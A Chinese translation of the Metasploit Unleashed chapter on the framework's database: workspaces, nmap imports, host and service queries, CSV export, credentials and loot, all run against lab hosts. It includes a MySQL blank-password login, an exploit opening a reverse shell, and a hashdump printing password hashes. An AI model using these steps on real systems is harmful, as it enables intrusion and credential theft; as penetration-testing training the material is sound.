内容:
1 、Setup(设置) 2 、Workspaces(工作区) 3、 Importing & Scanning(导入和扫描) 4、 Backing Up(备份) 5、 Hosts(主机) 6、 Setting up Modules(设置模块) 7、 Services(服务) 8、 CSV Export(csv导出) 9、 Creds(凭据) 10、 Loot
在Kali中,您需要在使用数据库之前启动postgresql服务器。
root@kali:~# systemctl start postgresql
启动postgresql后,您需要使用msfdb init创建并初始化msf数据库。
root@kali:~# msfdb init
Creating database user 'msf'
Enter password for new role:
Enter it again:
Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/database.yml
Creating initial database schema
注意:如果你已经配置执行此命令就会提示“A database appears to be already configured, skipping initialization(数据库似乎已经配置,跳过初始化)”;
msf默认用的是“postgresql”数据库,有些朋友估计想用msf连接mysql数据库,可以做如下这样既简单操又快速的操作:1、连接 mysql数据库
这里需要注意,连接前必须保证你的mysql相关服务是正常的,以及能正常连接。
msf > db_connect msf:root@kali:3306/msf
msf:前一个是用户名,后一个是数据库名 admin:密码 @:固定格式 127.0.0.1:登录地址 3306:端口号 2、如果要设置自动登录,需要修改配置文件:database.yml
如果没有就看有没有类似于 database.yml.example 的文件,可以直接复制并重名名为database.yml。
root@kali:/usr/share/metasploit-framework/config# vim database.yml
这上图中里面这些配置选项我就不多说了,懂数据库的一看就能明白了。
当我们加载msfconsole并运行' db_status '时,我们可以确认Metasploit已成功连接到数据库。
msf > db_status
[*] postgresql connected to msf
看到这个功能是为了跟踪我们的活动和扫描顺序。我们必须从右脚开始。一旦连接到数据库,我们就可以通过使用所谓的“工作空间”来组织我们不同的动作。这使我们能够保存来自不同locations(位置)/networks(网络)/subnets(子网)的不同扫描。从msfconsole发出' workspace '命令,将显示当前选定的工作区。连接到数据库时选择“ default”工作区,数据库由名称旁边的 *** **表示。
msf > workspace
* default
msfu
lab1
lab2
lab3
lab4
正如我们所看到的,当涉及到保持“neat”时,这可能非常方便。让我们将当前工作区更改为'msfu'。
msf > workspace msfu
[*] Workspace: msfu
msf > workspace
default
* msfu
lab1
lab2
lab3
lab4
创建和删除工作区只需在msfconsole提示符处使用' -a '或' -d '后跟名称即可。
msf > workspace -a lab4
[*] Added workspace: lab4
msf >
msf > workspace -d lab4
[*] Deleted workspace: lab4
msf >
工作区使用就这么简单,使用相同的命令并添加' -h '选项将为我们提供命令的其他功能。
msf > workspace -h
用法:workspace 列出工作区 workspace -v 详细列出工作区 workspace [名称] 开关工作区 workspace -a [名称] ... 添加工作区(s) workspace -d [名称] ... 删除工作区(s) workspace -D 删除所有工作区 workspace -r <旧> <新> 重命名工作区 workspace -h 显示此帮助信息 从现在起,任何扫描或从第三方应用程序导入都将保存到此工作区中。现在我们连接到我们的数据库和工作区设置,让我们看看用一些数据填充它。首先,我们将使用msfconsole中的'help'命令查看可用的不同“db_”命令。
msf> help
... 略 ...
数据库后端命令
=========================
命 令 描 述
------- -----------
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
有几种方法可以做到这一点,从直接从控制台扫描主机或网络,或从早期扫描导入文件。我们首先导入'metasploitable 2'主机的nmap扫描。这是使用' db_import ' 完成的,后面是我们文件的路径。
msf > db_import /root/msfu/nmapScan
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Rex::Parser::NmapXMLStreamParser'
[*] Importing host 172.16.194.172
[*] Successfully imported /root/msfu/nmapScan
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
一旦完成,我们可以通过发出'hosts'命令来确认导入。这将显示存储在我们当前工作区中的所有主机。我们还可以使用'db_nmap'命令直接从控制台扫描主机。扫描结果将保存在我们当前的数据库中。该命令的作用方式与'nmap'的命令行版本相同。
msf > db_nmap -A 172.16.194.134
[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2012-06-18 12:36 EDT
[*] Nmap: Nmap scan report for 172.16.194.134
[*] Nmap: Host is up (0.00031s latency).
[*] Nmap: Not shown: 994 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 80/tcp open http Apache httpd 2.2.17 ((Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4
...略...
[*] Nmap: HOP RTT ADDRESS
[*] Nmap: 1 0.31 ms 172.16.194.134
[*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.91 seconds
msf >
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.194.134 00:0C:29:68:51:BB Microsoft Windows XP server
172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
将数据导出到Metasploit环境之外非常简单。使用' db_export '命令,我们收集到的所有信息都可以保存在一个XML文件中。此格式可以稍后用于报告目的轻松使用和操作。该命令有2个输出,' xml '格式将导出当前存储在我们活动工作区中的所有信息,' pwdump '格式导出与使用/收集的凭证有关的所有信息。
msf > db_export -h
用法:
db_export -f <format> [filename]
Format can be one of: xml, pwdump #(format可以是下列之一:xml,pwdump)
[-] No output file was specified
msf > db_export -f xml /root/msfu/Exported.xml
[*] Starting export of workspace msfu to /root/msfu/Exported.xml [ xml ]...
[*] >> Starting export of report
[*] >> Starting export of hosts
[*] >> Starting export of events
[*] >> Starting export of services
[*] >> Starting export of credentials
[*] >> Starting export of web sites
[*] >> Starting export of web pages
[*] >> Starting export of web forms
[*] >> Starting export of web vulns
[*] >> Finished export of report
[*] Finished export of workspace msfu to /root/msfu/Exported.xml [ xml ]...
现在我们可以将数据导入和导出数据库,让我们看看我们如何在msfconsole中使用这些信息。许多命令可用于搜索存储在我们数据库中的特定信息。承载名称,地址,发现的服务等。我们甚至可以使用生成的数据来填充模块设置,例如RHOSTS。我们将在稍后看看这是如何完成的。“ hosts”命令之前用于确认数据库中数据的存在。让我们看看可用的不同选项,看看我们如何使用它来为我们提供快速有用的信息。用'-h'发出命令将显示帮助菜单。
msf > hosts -h
用法:hosts [选项] [addr1 addr2 ...]选项:-a,--add 添加主机而不是搜索 -d, - delete 删除主机而不是搜索 -c <col1,col2> 仅显示给定列(请参阅下面的列表) -h, - help 显示此帮助信息 -u, --up 只显示已启动的主机 -o <file> 以csv格式将输出发送到文件 -O <column> 按指定的列号对行进行排序 -R, --rhosts 从搜索结果中设置RHOSTS -S, --search 搜索字符串进行过滤 -i, -- info 更改主机的信息 -n, - -name 更改主机的名称 -m,-- comment 更改主机的评论 -t, -- tag 为一系列主机添加或指定一个标记 -c可用列:address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags 我们首先要求' hosts '命令使用' -c '选项仅显示IP地址和操作系统类型。
msf > hosts -c address,os_flavor
Hosts
=====
address os_flavor
------- ---------
172.16.194.134 XP
172.16.194.172 Ubuntu
我们可以使用的另一个有趣功能是能够搜索我们所有条目的具体内容。想象一下,如果我们希望从我们的扫描中只找到基于Linux的机器。为此,我们使用' -S '选项。该选项可以与我们之前的示例结合使用,并帮助微调我们的结果。
msf > hosts -c address,os_flavor -S Linux
Hosts
=====
address os_flavor
------- ---------
172.16.194.172 Ubuntu
使用我们前面例子的输出,我们将把它提供给'tcp'扫描辅助模块。
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
默认情况下,' RHOSTS '中没有设置任何内容,我们将' -R '开关添加到hosts命令并运行模块。希望它能够毫无问题地运行并扫描我们的目标。
msf auxiliary(tcp) > hosts -c address,os_flavor -S Linux -R
Hosts
=====
address os_flavor
------- ---------
172.16.194.172 Ubuntu
RHOSTS => 172.16.194.172
msf auxiliary(tcp) > run
[*] 172.16.194.172:25 - TCP OPEN
[*] 172.16.194.172:23 - TCP OPEN
[*] 172.16.194.172:22 - TCP OPEN
[*] 172.16.194.172:21 - TCP OPEN
[*] 172.16.194.172:53 - TCP OPEN
[*] 172.16.194.172:80 - TCP OPEN
...略...
[*] 172.16.194.172:5432 - TCP OPEN
[*] 172.16.194.172:5900 - TCP OPEN
[*] 172.16.194.172:6000 - TCP OPEN
[*] 172.16.194.172:6667 - TCP OPEN
[*] 172.16.194.172:6697 - TCP OPEN
[*] 172.16.194.172:8009 - TCP OPEN
[*] 172.16.194.172:8180 - TCP OPEN
[*] 172.16.194.172:8787 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
当然,如果我们的结果包含多个地址,这也是有效的。
msf auxiliary(tcp) > hosts -R
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.194.134 00:0C:29:68:51:BB Microsoft Windows XP server
172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
RHOSTS => 172.16.194.134 172.16.194.172
msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 172.16.194.134 172.16.194.172 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
如果我们的数据库包含数百个条目,您可以看到这可能是多么有用。我们只能搜索Windows机器,然后很快为smb_version辅助模块设置RHOSTS选项。几乎所有与数据库交互的命令都可以使用设置的RHOSTS开关。
另一种搜索数据库的方法是使用' services '命令。像前面的例子一样,我们可以很轻松地提取非常具体的信息。
msf > services -h
用法:services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2...] -a, -- add 添加服务而不是搜索 -d, -- delete 删除服务而不是搜索 -c <col1,col2> 只显示给定的列 -h, -- help 显示此帮助信息 -s <name1,name2> 搜索服务名称列表 -p <port1,port2> 搜索端口列表 -r <协议> 仅显示[tcp | udp]服务 -u, -- up 只显示已启动的服务 -o <file> 以csv格式将输出发送到文件 -O <column> 按指定的列号对行进行排序 -R, -- rhosts 从搜索结果中设置RHOSTS -S, --search 搜索字符串进行过滤 -c可用列:created_at,info,name,port,proto,state,updated_at 与"hosts"命令大致相同,我们可以指定要显示的字段。加上'** -S** '开关,我们也可以搜索包含特定字符串的服务。
msf > services -c name,info 172.16.194.134
Services
========
host name info
---- ---- ----
172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.134 msrpc Microsoft Windows RPC
172.16.194.134 netbios-ssn
172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.134 microsoft-ds Microsoft Windows XP microsoft-ds
172.16.194.134 mysql
在这里,我们使用包含字符串'http'的服务名称来搜索数据库中包含的所有主机。
msf > services -c name,info -S http
Services
========
host name info
---- ---- ----
172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.172 http Apache httpd 2.2.8 (Ubuntu) DAV/2
172.16.194.172 http Apache Tomcat/Coyote JSP engine 1.1
搜索的组合非常庞大。我们可以使用特定的端口或端口范围。使用'-s'或'-S'开关时全部或部分服务名称。对于所有的主机或只是少数选择...这个列表继续下去。以下是一些示例,但您可能需要尝试使用这些功能才能获得所需内容并需要进行搜索。
msf > services -c info,name -p 445
Services
========
host info name
---- ---- ----
172.16.194.134 Microsoft Windows XP microsoft-ds microsoft-ds
172.16.194.172 Samba smbd 3.X workgroup: WORKGROUP netbios-ssn
msf > services -c port,proto,state -p 70-81
Services
========
host port proto state
---- ---- ----- -----
172.16.194.134 80 tcp open
172.16.194.172 75 tcp closed
172.16.194.172 71 tcp closed
172.16.194.172 72 tcp closed
172.16.194.172 73 tcp closed
172.16.194.172 74 tcp closed
172.16.194.172 70 tcp closed
172.16.194.172 76 tcp closed
172.16.194.172 77 tcp closed
172.16.194.172 78 tcp closed
172.16.194.172 79 tcp closed
172.16.194.172 80 tcp open
172.16.194.172 81 tcp closed
msf > services -s http -c port 172.16.194.134
Services
========
host port
---- ----
172.16.194.134 80
172.16.194.134 443
msf > services -S Unr
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.194.172 6667 tcp irc open Unreal ircd
172.16.194.172 6697 tcp irc open Unreal ircd
“hosts”和“services”命令都为我们提供了一种将查询结果保存到文件中的方法。文件格式是逗号分隔值或CSV。随后是具有路径和文件名的'-o',此时屏幕上显示的信息现在将保存到磁盘。
msf > services -s http -c port 172.16.194.134 -o /root/msfu/http.csv
[*] Wrote services to /root/msfu/http.csv
msf > hosts -S Linux -o /root/msfu/linux.csv
[*] Wrote hosts to /root/msfu/linux.csv
msf > cat /root/msfu/linux.csv
[*] exec: cat /root/msfu/linux.csv
address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
"172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server","",""
msf > cat /root/msfu/http.csv
[*] exec: cat /root/msfu/http.csv
host,port
"172.16.194.134","80"
"172.16.194.134","443"
'creds'命令用于管理我们数据库中的目标的查找和使用凭据。不带任何选项运行此命令将显示当前保存的凭据。
msf > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
与' db_nmap '命令一样,与凭据相关的成功结果将自动保存到我们的活动工作区。让我们运行辅助模块' mysql_login ',看看当Metasploit扫描我们的服务器时会发生什么。
msf auxiliary(mysql_login) > run
[*] 172.16.194.172:3306 MYSQL - Found remote MySQL version 5.0.51a
[*] 172.16.194.172:3306 MYSQL - [1/2] - Trying username:'root' with password:''
[*] 172.16.194.172:3306 - SUCCESSFUL LOGIN 'root' : ''
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_login) > creds
Credentials
===========
host port user pass type active?
---- ---- ---- ---- ---- -------
172.16.194.172 3306 root password true
[*] Found 1 credential.
msf auxiliary(mysql_login) >
我们可以看到模块能够连接到我们的mysql服务器,并且因为这个Metasploit会自动将这些凭据保存在我们的数据库中以供将来参考。在对主机进行后期开发期间,为了进一步渗透目标网络,收集用户凭证是一项重要活动。在我们收集证书集时,可以使用'creds -a'命令将它们添加到我们的数据库中。
msf > creds -a 172.16.194.134 -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
[*] Time: 2012-06-20 20:31:42 UTC Credential: host=172.16.194.134 port=445 proto=tcp sname= type=password user=Administrator pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: active=true
msf > creds
Credentials
===========
host port user pass type active?
---- ---- ---- ---- ---- -------
172.16.194.134 445 Administrator 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: password true
[*] Found 1 credential.
一旦你破坏了一个系统(或三个),其中一个目标可能是检索散列转储。来自Windows或* nix系统。如果发生成功的散列转储,这些信息将存储在我们的数据库中。我们可以使用'loot'命令查看这个转储。与几乎所有命令一样,添加'-h'开关将显示更多信息。
msf > loot -h
用法:loot <选项> info:loot [-h] [addr1 addr2 ...] [-t <type1,type2>] add:loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type] Del:loot -d [addr1 addr2 ...] -a, --add 添加战利品地址列表,而不是列表 -d, --delete 删除全部拾取匹配主机和类型 -f, --file 文件与要添加的战利品内容的文件 -i, -- info 要添加的战利品信息 -t <type1,type2> 搜索类型列表 -h, -- help 显示此帮助信息 -S, --search 搜索字符串进行过滤 以下是一个如何用一些“loot”填充数据库的例子。
msf exploit(usermap_script) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 4uGPYOrars5OojdL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "4uGPYOrars5OojdL\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:55138) at 2012-06-27 19:38:54 -0400
^Z
Background session 1? [y/N] y
msf exploit(usermap_script) > use post/linux/gather/hashdump
msf post(hashdump) > show options
Module options (post/linux/gather/hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
msf post(hashdump) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell unix 172.16.194.163:4444 -> 172.16.194.172:55138 (172.16.194.172)
msf post(hashdump) > run
[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
[*] Post module execution completed
msf post(hashdump) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
172.16.194.172 linux.hashes unshadowed_passwd.pwd text/plain Linux Unshadowed Password File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
172.16.194.172 linux.passwd passwd.tx text/plain Linux Passwd File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passwd_953644.txt
172.16.194.172 linux.shadow shadow.tx text/plain Linux Password Shadow File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shadow_492948.txt
MSFU Navigation
Metasploit Unleashed
Donate – Help Feed a Child
Introduction
Metasploit Fundamentals
Information Gathering
Vulnerability Scanning
Writing a Simple Fuzzer
Exploit Development
Web App Exploit Dev
Client Side Attacks
MSF Post Exploitation
Meterpreter Scripting
Maintaining Access
MSF Extended Usage
Metasploit GUIs
Post Module Reference
Auxiliary Module Reference
Recent Changes